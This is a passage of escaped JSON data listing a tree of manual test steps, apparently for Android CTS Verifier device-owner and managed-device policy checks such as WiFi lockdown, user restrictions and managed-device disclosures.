settings\",\"id\":\"0D9B315F-1C19-4E7F-AAFC-8CB650B52DC0\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Verify if CTS Verfier admin exists and is activated and can't be disabled\",\"id\":\"d5c77251-9663-4eaa-b708-68a67fc8189f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d5c77251-9663-4eaa-b708-68a67fc8189f\"]}]},{\"value\":\"03-WiFi configuration lockdown\",\"id\":\"1E225608-0E94-459F-89FA-6D51CF552CC2\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Go to WiFi Setting\\\" button\",\"id\":\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\"]},{\"value\":\"Click \\\"WiFi config lockdown off\\\"\",\"id\":\"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b2f63ae3-ba10-4c63-9aa5-b55ab182a2c4\"]},{\"value\":\"Click \\\"WiFi config lockdown on\\\"\",\"id\":\"440786b7-f1d9-4c77-ad81-28068fe6a608\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"440786b7-f1d9-4c77-ad81-28068fe6a608\"]},{\"value\":\"Click settings of connected WiFi\",\"id\":\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\"]}]},{\"value\":\"15 &amp; 17-06-Policy transparency test\",\"id\":\"6AF5405C-B557-4D84-B38C-9D4E96E68D7B\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"15-02 &amp; 17-06-01-Disallow adjust volume test\",\"id\":\"0e30ea6e-be38-468e-8499-790b05a37760\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0e30ea6e-be38-468e-8499-790b05a37760\"]},{\"value\":\"15-12 &amp; 17-06-04-Disallow install unknown sources\",\"id\":\"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c\"]},{\"value\":\"15-13 &amp; 17-06-05-Disallow modify accounts test\",\"id\":\"0c73b50f-d48d-4082-a091-3d4f55f77369\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0c73b50f-d48d-4082-a091-3d4f55f77369\"]},{\"value\":\"15-15 &amp; 17-06-06-Disallow share location\",\"id\":\"3c4bab75-4bac-49fa-8264-5f4c3504c60b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3c4bab75-4bac-49fa-8264-5f4c3504c60b\"]},{\"value\":\"15-17 &amp; 17-06-08-Disallow config date time\",\"id\":\"a1add8e6-5408-417e-942b-2663863fcdd6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a1add8e6-5408-417e-942b-2663863fcdd6\"]},{\"value\":\"15-18 &amp; 17-06-09-Disallow config location\",\"id\":\"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b\"]},{\"value\":\"15-20 &amp; 17-06-10-Disallow config screen timeout\",\"id\":\"ddbc4d31-a035-4eec-814a-def0efb2bfa5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ddbc4d31-a035-4eec-814a-def0efb2bfa5\"]},{\"value\":\"15-21 &amp; 17-06-11-Disallow config brightness\",\"id\":\"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b\"]},{\"value\":\"15-26 Set password quality\",\"id\":\"C6F90C4A-5B2C-44F4-9173-4EBE7A36452D\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Verify None/Swipe\",\"id\":\"cccc0cd1-82fd-4292-8d4d-2028be141809\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cccc0cd1-82fd-4292-8d4d-2028be141809\"]},{\"value\":\"Verify None/Swipe/Patten/PIN lock\",\"id\":\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5225d3a3-cf6f-48c8-ab8a-e04571eb69dc\"]},{\"value\":\"Verify None/Swipe/Pattern lock\",\"id\":\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\"]}]},{\"value\":\"15-27 &amp; 17-06-12-Set permitted accessibility services\",\"id\":\"a67e968f-ab80-4c16-87c6-76e7c22da2b7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a67e968f-ab80-4c16-87c6-76e7c22da2b7\"]},{\"value\":\"15-28 &amp; 17-06-13-Set permitted input methods\",\"id\":\"238c6d52-12d8-4d83-ae19-c703bcc6ec24\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"238c6d52-12d8-4d83-ae19-c703bcc6ec24\"]},{\"value\":\"Click \\\"Open settings\\\" button\",\"id\":\"be00d800-5235-410e-a535-55a76d9200b9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"be00d800-5235-410e-a535-55a76d9200b9\"]},{\"value\":\"Launch Dummy input method\",\"id\":\"72a6fa67-df5f-4c18-849a-8212e749417e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"72a6fa67-df5f-4c18-849a-8212e749417e\"]},{\"value\":\"Set restriction off by turning off the switch bar\",\"id\":\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\"]},{\"value\":\"Set restriction on by turning on the switch bar\",\"id\":\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5ee29e64-400f-4c6f-ba29-d9442740b560\"]},{\"value\":\"Verify if screen back to 15-Policy transparency test\",\"id\":\"44291145-6774-4ba3-9caf-731853cef58e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"44291145-6774-4ba3-9caf-731853cef58e\"]}]},{\"value\":\"16-Managed device info tests\",\"id\":\"B9100E9E-00C6-4667-B5CC-1BA0FAA7E52B\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Clear Org\\\" button\",\"id\":\"3aefa26b-3d3e-4320-b4b0-9569556fd846\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3aefa26b-3d3e-4320-b4b0-9569556fd846\"]},{\"value\":\"Click \\\"Finish\\\" button\",\"id\":\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\"]},{\"value\":\"Click \\\"Grant\\\" button\",\"id\":\"034d5968-a791-4164-8b00-450ddadb3db1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"034d5968-a791-4164-8b00-450ddadb3db1\"]},{\"value\":\"Click \\\"Open Settings\\\" button\",\"id\":\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\"]},{\"value\":\"Click \\\"Reset\\\" button\",\"id\":\"82177f1b-37f0-4bec-95c6-02f1c0871c28\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"82177f1b-37f0-4bec-95c6-02f1c0871c28\"]},{\"value\":\"Click \\\"Set Org\\\" button\",\"id\":\"91ab1016-e46b-4681-802a-30de34592081\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"91ab1016-e46b-4681-802a-30de34592081\"]},{\"value\":\"Verify if screen back to Managed device info tests page\",\"id\":\"03e19599-15d9-4cff-acc4-88b977853f25\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"03e19599-15d9-4cff-acc4-88b977853f25\"]},{\"value\":\"Verify that on the lock screen, you are told the device is managed\",\"id\":\"764101e3-1eaa-47e8-854f-68434c4c994c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"764101e3-1eaa-47e8-854f-68434c4c994c\"]},{\"value\":\"Verify that on the lock screen, you are told the device is managed by \\\"Foo, Inc\\\"\",\"id\":\"1fe89bff-e8fd-40da-a6b7-e91443c69389\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1fe89bff-e8fd-40da-a6b7-e91443c69389\"]},{\"value\":\"Verify that the list contains the CTS Verifier app\",\"id\":\"c06f1557-8c66-44c1-8dc2-dad782d2f597\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c06f1557-8c66-44c1-8dc2-dad782d2f597\"]}]},{\"value\":\"17-Managed User\",\"id\":\"8D59012D-9EB2-4C65-9632-400668A1471C\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Turn on 3-button navigation\",\"id\":\"e690407d-25d7-42eb-9553-9f328ee32f0d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e690407d-25d7-42eb-9553-9f328ee32f0d\"]}]},{\"value\":\"19-Logout\",\"id\":\"2F029129-3B54-4371-A4BC-18F5C526398B\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Verify  if screen back to Logout\",\"id\":\"ad921587-e363-4652-ae6b-9d95ff9bba16\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ad921587-e363-4652-ae6b-9d95ff9bba16\"]}]},{\"value\":\"Check the restriction message(Long message)\",\"id\":\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8b18fc23-789a-4c41-9746-297a040e35a7\"]},{\"value\":\"Check the restriction message(Short message)\",\"id\":\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8003eafa-d92b-4571-ba71-a68648526e4f\"]},{\"value\":\"Check the restriction message(default)\",\"id\":\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bcc40c72-d997-4128-80a1-6aca3603c260\"]},{\"value\":\"Click \\\"Set restriction\\\" button\",\"id\":\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"fa171789-d776-46b6-ac6f-39961c4c3414\"]},{\"value\":\"Click Go button\",\"id\":\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7e951186-50c3-400e-a5c6-e931dd32a30b\"]},{\"value\":\"Click\\\"Clear restriction(before leaving test)\\\" button\",\"id\":\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ed37b636-1904-49d8-a5cc-4f6046f1358b\"]},{\"value\":\"Delete managed users\",\"id\":\"4c401ff4-c80e-44d8-b94c-819dc1366093\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4c401ff4-c80e-44d8-b94c-819dc1366093\"]},{\"value\":\"Sub-cases\",\"id\":\"096E1AF7-83B9-4517-949E-D8D769791124\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"01-Check device owner\",\"id\":\"b36ee844-6807-46a4-9073-3d5c83f730fd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b36ee844-6807-46a4-9073-3d5c83f730fd\"]},{\"value\":\"02-Device administrator settings\",\"id\":\"ba60c19c-dd7d-4503-86dc-57ae83dfa386\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ba60c19c-dd7d-4503-86dc-57ae83dfa386\"]},{\"value\":\"03-WiFi configuration lockdown\",\"id\":\"33e57fb2-284d-43aa-9763-d9c0cd8d1d95\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"33e57fb2-284d-43aa-9763-d9c0cd8d1d95\"]},{\"value\":\"04-Disallow configuring WiFi\",\"id\":\"841de16d-b420-4274-8775-20fff2d30def\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"841de16d-b420-4274-8775-20fff2d30def\"]},{\"value\":\"05-Disallow configuring VPN\",\"id\":\"128d040e-8d30-4812-9cbb-b29efa47855e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"128d040e-8d30-4812-9cbb-b29efa47855e\"]},{\"value\":\"06-Disallow data roaming\",\"id\":\"ec764a5f-6c81-496a-820b-00869272b2f4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ec764a5f-6c81-496a-820b-00869272b2f4\"]},{\"value\":\"07-Disallow factory reset\",\"id\":\"06e13f84-c348-470c-a237-ded70dacf408\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"06e13f84-c348-470c-a237-ded70dacf408\"]},{\"value\":\"08-Disallow configuring Bluetooth\",\"id\":\"dbec061f-568e-4ffa-9d71-4a5494853625\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"dbec061f-568e-4ffa-9d71-4a5494853625\"]},{\"value\":\"09-Disallow USB file transfer\",\"id\":\"87a99bc2-662c-408a-891a-ebb93954ea8f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"87a99bc2-662c-408a-891a-ebb93954ea8f\"]},{\"value\":\"10 &amp; 17-03-Disable status bar test\",\"id\":\"7ba82511-7b81-415f-81d7-ce2a5c969a50\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7ba82511-7b81-415f-81d7-ce2a5c969a50\"]},{\"value\":\"10-Disable status bar\",\"id\":\"2c04124a-9437-4127-9146-c1830d875dcb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2c04124a-9437-4127-9146-c1830d875dcb\"]},{\"value\":\"11 &amp; 17-04 -Disable keyguard test\",\"id\":\"c131f309-79ae-48c8-a354-4410a90e97e4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c131f309-79ae-48c8-a354-4410a90e97e4\"]},{\"value\":\"11-Disable keyguard\",\"id\":\"e0c4500d-daea-44e2-b105-6efa0f087cb1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e0c4500d-daea-44e2-b105-6efa0f087cb1\"]},{\"value\":\"13-Setting the user icon(Check image)\",\"id\":\"d1a32271-9bb8-464b-89ee-8eb121c9d8dd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d1a32271-9bb8-464b-89ee-8eb121c9d8dd\"]},{\"value\":\"14-Permissions lockdown\",\"id\":\"a418766b-dd6a-4c90-b127-e104546068c5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a418766b-dd6a-4c90-b127-e104546068c5\"]},{\"value\":\"15-01-Disallow add user\",\"id\":\"7ebfac21-0046-438c-af8c-f21ea88f0357\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7ebfac21-0046-438c-af8c-f21ea88f0357\"]},{\"value\":\"15-02-Disallow adjust volume\",\"id\":\"e92b83d0-131c-4ef1-aaab-49103f238136\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e92b83d0-131c-4ef1-aaab-49103f238136\"]},{\"value\":\"15-03-Disallow controlling apps\",\"id\":\"4a5899ed-71fd-4562-8aab-737e20b84297\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4a5899ed-71fd-4562-8aab-737e20b84297\"]},{\"value\":\"15-04-Disallow config cell broadcasts\",\"id\":\"446a3aa1-905d-4268-8532-5bf77fe7fbe6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"446a3aa1-905d-4268-8532-5bf77fe7fbe6\"]},{\"value\":\"15-05-Disallow config credentials\",\"id\":\"f00f3a0d-8419-4e58-a636-d75d84accafb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f00f3a0d-8419-4e58-a636-d75d84accafb\"]},{\"value\":\"15-06-Disallow config mobile networks\",\"id\":\"3dabca21-35c3-4633-99c0-52e3a5a0d012\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3dabca21-35c3-4633-99c0-52e3a5a0d012\"]},{\"value\":\"15-07-Disallow config tethering\",\"id\":\"1f828567-b1d4-4874-94a1-22d939057e69\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1f828567-b1d4-4874-94a1-22d939057e69\"]},{\"value\":\"15-08-Disallow config Wi-Fi\",\"id\":\"78f39e06-715e-4c47-a787-b2802a1a12ab\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"78f39e06-715e-4c47-a787-b2802a1a12ab\"]},{\"value\":\"15-10-Disallow factory reset\",\"id\":\"e8f7b797-087f-4398-b4e2-358fe50416f3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e8f7b797-087f-4398-b4e2-358fe50416f3\"]},{\"value\":\"15-12-Disallow install unknown sources\",\"id\":\"f67dea91-f1e8-4f94-a80f-2374f15cb791\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f67dea91-f1e8-4f94-a80f-2374f15cb791\"]},{\"value\":\"15-13-Disallow modify accounts\",\"id\":\"78ad3920-ae49-4f06-b220-781c5b1e53e5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"78ad3920-ae49-4f06-b220-781c5b1e53e5\"]},{\"value\":\"15-14-Disallow network reset\",\"id\":\"365f65bd-c7be-4d20-9b37-7694dfa81ba1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"365f65bd-c7be-4d20-9b37-7694dfa81ba1\"]},{\"value\":\"15-15-Disallow share location\",\"id\":\"477825e2-33af-4238-acac-4dce5c1c5b84\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"477825e2-33af-4238-acac-4dce5c1c5b84\"]},{\"value\":\"15-16-Disallow uninstall apps\",\"id\":\"9d556fec-d14c-44d9-870f-0dbfc41ffb86\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"9d556fec-d14c-44d9-870f-0dbfc41ffb86\"]},{\"value\":\"15-17 Disallow config date time\",\"id\":\"14ca85a4-dc82-479e-87f5-afd492728ac1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"14ca85a4-dc82-479e-87f5-afd492728ac1\"]},{\"value\":\"15-18 Disallow config location\",\"id\":\"a0835500-a2a2-4908-a93e-522b12c44507\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a0835500-a2a2-4908-a93e-522b12c44507\"]},{\"value\":\"15-19-Disallow aireplane mode\",\"id\":\"c1d1e74e-9d20-482f-9c48-58faaf8b8c7f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c1d1e74e-9d20-482f-9c48-58faaf8b8c7f\"]},{\"value\":\"15-20 Disallow config screen timeout\",\"id\":\"97af8f29-fc99-451c-a57b-81f59621b304\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"97af8f29-fc99-451c-a57b-81f59621b304\"]},{\"value\":\"15-21-Disallow config brightness\",\"id\":\"4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1\"]},{\"value\":\"15-22-Set auto(network) time required\",\"id\":\"151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"151b7e7c-814c-42fc-b2f9-d9aeb0b9d86b\"]},{\"value\":\"15-23-Disallow lockscreen unredacted notification\",\"id\":\"f31620ba-a28e-44ed-a592-02cf02b7e2a0\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f31620ba-a28e-44ed-a592-02cf02b7e2a0\"]},{\"value\":\"15-24-Set lock screen info\",\"id\":\"02368e5e-0086-4c12-9a05-55c25015d488\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"02368e5e-0086-4c12-9a05-55c25015d488\"]},{\"value\":\"15-25-Set maximum time to lock\",\"id\":\"cd0de494-22a4-45d1-b5b4-74d5585cccf8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cd0de494-22a4-45d1-b5b4-74d5585cccf8\"]},{\"value\":\"15-26-Set password quality\",\"id\":\"c0d95bab-a71d-4109-b402-01d3bad36422\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c0d95bab-a71d-4109-b402-01d3bad36422\"]},{\"value\":\"15-27-Set permitted accessibility services\",\"id\":\"96e13653-8ab0-44a3-9bed-ddd32181cd28\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"96e13653-8ab0-44a3-9bed-ddd32181cd28\"]},{\"value\":\"15-28-Set permitted input methods\",\"id\":\"1075b85b-6357-4973-af77-ddd3ef41fbbf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1075b85b-6357-4973-af77-ddd3ef41fbbf\"]},{\"value\":\"15-Policy transparency test\",\"id\":\"35a90a2e-6709-4b9d-ad3f-07f3af03e889\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"35a90a2e-6709-4b9d-ad3f-07f3af03e889\"]},{\"value\":\"16-01-Managed device info page\",\"id\":\"137e850e-d1e1-4fda-85f0-7a71c6aa39d8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"137e850e-d1e1-4fda-85f0-7a71c6aa39d8\"]},{\"value\":\"16-02-Retrieve traffic logs\",\"id\":\"bc8d1d81-e862-43e2-aa54-1056b9e26f14\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bc8d1d81-e862-43e2-aa54-1056b9e26f14\"]},{\"value\":\"16-03-Request bug report\",\"id\":\"4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a\"]},{\"value\":\"16-04-Retrieve security logs\",\"id\":\"e242b517-2878-473b-bf43-ae1e7c299f21\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e242b517-2878-473b-bf43-ae1e7c299f21\"]},{\"value\":\"16-05-Enterprise-installed apps\",\"id\":\"0e6339c1-dd60-4126-9c18-82a1171245ce\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0e6339c1-dd60-4126-9c18-82a1171245ce\"]},{\"value\":\"16-06-Location access permission\",\"id\":\"8f2375c4-da47-4673-b46d-88bfca894fbf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8f2375c4-da47-4673-b46d-88bfca894fbf\"]},{\"value\":\"16-07-Microphone access permission\",\"id\":\"e09a8291-7909-4e13-aadd-413ef0f26bdc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e09a8291-7909-4e13-aadd-413ef0f26bdc\"]},{\"value\":\"16-08-Camera access permission\",\"id\":\"879b4b50-6fba-4899-ad51-c9819adc7dc6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"879b4b50-6fba-4899-ad51-c9819adc7dc6\"]},{\"value\":\"16-09-Default apps\",\"id\":\"97168770-8a71-4ad5-b1a3-6fad42f11159\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"97168770-8a71-4ad5-b1a3-6fad42f11159\"]},{\"value\":\"16-10-Default keyboard\",\"id\":\"e2eae039-e0f9-4bad-a122-3b67582d0cb2\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e2eae039-e0f9-4bad-a122-3b67582d0cb2\"]},{\"value\":\"16-11-Always-on VPN\",\"id\":\"c0bfb788-3dfc-45f1-8def-af860884289c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c0bfb788-3dfc-45f1-8def-af860884289c\"]},{\"value\":\"16-12-Global HTTP Proxy\",\"id\":\"2776b178-6e89-4fea-9f72-a7733427ef39\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2776b178-6e89-4fea-9f72-a7733427ef39\"]},{\"value\":\"16-13-Trusted CA certs\",\"id\":\"63dd640e-a661-47cc-964a-e73a3d4c0f1f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"63dd640e-a661-47cc-964a-e73a3d4c0f1f\"]},{\"value\":\"16-14-Wipe on authentication failure\",\"id\":\"8a47ce64-ec2d-4a20-a91b-f89000b7e2bc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8a47ce64-ec2d-4a20-a91b-f89000b7e2bc\"]},{\"value\":\"16-15-Quick settings disclosure\",\"id\":\"a28853a0-0f2d-4148-807e-1387a6a31d3a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a28853a0-0f2d-4148-807e-1387a6a31d3a\"]},{\"value\":\"16-16-Keyguard disclosure\",\"id\":\"bfcd3a5c-3fa3-4976-9b6e-aea47e073512\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bfcd3a5c-3fa3-4976-9b6e-aea47e073512\"]},{\"value\":\"16-17-Add account disclosure\",\"id\":\"76a9632c-6b66-4bec-9423-e4f09af91996\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"76a9632c-6b66-4bec-9423-e4f09af91996\"]},{\"value\":\"16-Managed device info tests\",\"id\":\"4f868606-0d5b-44a3-9c85-f9cb48c66dbb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4f868606-0d5b-44a3-9c85-f9cb48c66dbb\"]},{\"value\":\"17-01-Check affiliated profile owner\",\"id\":\"1133e24d-4564-4009-8872-280f93f6fb3e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1133e24d-4564-4009-8872-280f93f6fb3e\"]},{\"value\":\"17-02-Device administrator settings\",\"id\":\"bb7fdd5f-0d61-4a6b-bd0f-589f5da59832\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bb7fdd5f-0d61-4a6b-bd0f-589f5da59832\"]},{\"value\":\"17-03-Disable status bar\",\"id\":\"0ec64b5f-e737-4075-9eb8-5de22223c304\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0ec64b5f-e737-4075-9eb8-5de22223c304\"]},{\"value\":\"17-04-Disable keyguard\",\"id\":\"d36c21f6-ffb6-4ae5-82d5-664ec268f648\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d36c21f6-ffb6-4ae5-82d5-664ec268f648\"]},{\"value\":\"17-05-Disallow remove user\",\"id\":\"03d55006-a23c-4f22-a56d-2d8de633cf3c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"03d55006-a23c-4f22-a56d-2d8de633cf3c\"]},{\"value\":\"17-06-02-Disallow controlling apps\",\"id\":\"e66ce1e2-883e-465b-8d82-3cdb852cc679\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e66ce1e2-883e-465b-8d82-3cdb852cc679\"]},{\"value\":\"17-06-03-Disallow config Wi-Fi\",\"id\":\"eb48590b-4827-44e1-a2bd-9c3416e92404\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"eb48590b-4827-44e1-a2bd-9c3416e92404\"]},{\"value\":\"17-06-07-Disallow uninstall apps\",\"id\":\"ae20d771-d892-4065-aa06-90335e33a588\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ae20d771-d892-4065-aa06-90335e33a588\"]},{\"value\":\"17-06-Policy transparency test\",\"id\":\"5e0f41ed-e9c6-4d11-b3a2-815b415268db\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5e0f41ed-e9c6-4d11-b3a2-815b415268db\"]},{\"value\":\"17-Managed User\",\"id\":\"d3d29d0d-af3f-4124-bd80-755d201bbec0\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d3d29d0d-af3f-4124-bd80-755d201bbec0\"]},{\"value\":\"19-Logout\",\"id\":\"360c99e8-b022-42ab-b1c0-a27575885f2d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"360c99e8-b022-42ab-b1c0-a27575885f2d\"]},{\"value\":\"20-Disallow user switch\",\"id\":\"3a510978-df33-499d-baab-b236c9960bd8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3a510978-df33-499d-baab-b236c9960bd8\"]},{\"value\":\"21-Disallow remove user\",\"id\":\"048dadc7-e9b8-4451-b111-a128df8d095b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"048dadc7-e9b8-4451-b111-a128df8d095b\"]},{\"value\":\"22-Network Logging UI(Check image)\",\"id\":\"c33097db-480e-433c-af22-ed22357d7c76\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c33097db-480e-433c-af22-ed22357d7c76\"]},{\"value\":\"23-Customize Lock Screen Message\",\"id\":\"77cd84d9-261a-488e-8fdb-5e3c36852267\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"77cd84d9-261a-488e-8fdb-5e3c36852267\"]},{\"value\":\"24-Remove device 